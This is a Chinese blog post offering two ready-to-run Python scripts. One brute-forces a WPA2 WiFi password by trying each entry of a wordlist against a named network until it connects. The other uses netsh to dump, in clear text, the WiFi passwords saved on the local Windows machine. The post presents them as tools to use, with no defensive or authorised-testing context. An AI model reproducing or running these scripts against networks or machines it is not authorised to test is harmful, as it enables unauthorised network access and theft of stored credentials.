Home >  > 暴力破解WIFI密码

暴力破解WIFI密码

0

一、暴力破解WIFI密码
密码正确就停止运行了。

代码如下,输入wifi名称以及密码文件名称就可以跑了。

# coding:utf-8
import time  # 时间
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义
from asyncio.tasks import sleep


class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
        self.iface.disconnect()  # 测试链接断开所有链接

        time.sleep(1)  # 休眠1秒

        # 测试网卡是否属于断开状态,
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
        print("开始破解:")
        while True:

            try:
                myStr = self.file.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr)
                if bool1:
                    print("密码正确:", myStr)
                    break
                else:
                    print("密码错误:" + myStr)
                sleep(3)
            except:
                continue

    def test_connect(self, findStr):  # 测试链接

        profile = pywifi.Profile()  # 创建wifi链接文件
        profile.ssid = "402"  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = findStr  # 密码

        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
        self.iface.connect(tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOK

    def __del__(self):
        self.file.close()


path = r"password.txt"
start = PoJie(path)
start.readPassWord()

这里还有一个GUI界面的,不过运行起来老是没有响应,其实原理是一样的,没必要搞这么复杂。

二、方法二(显示本机连接过的wifi密码)
首先查看一下有哪些Wifi,

netsh wlan show profiles

Snap4

import subprocess

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profiles', i , 'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        print("{:<30}| {:<}".format(i,results[0]))
    except IndexError:
        print("{:<30}| {:<}".format(i,""))
a = input("")

很容易密码就出来了。

本文暂无标签

发表评论

*

*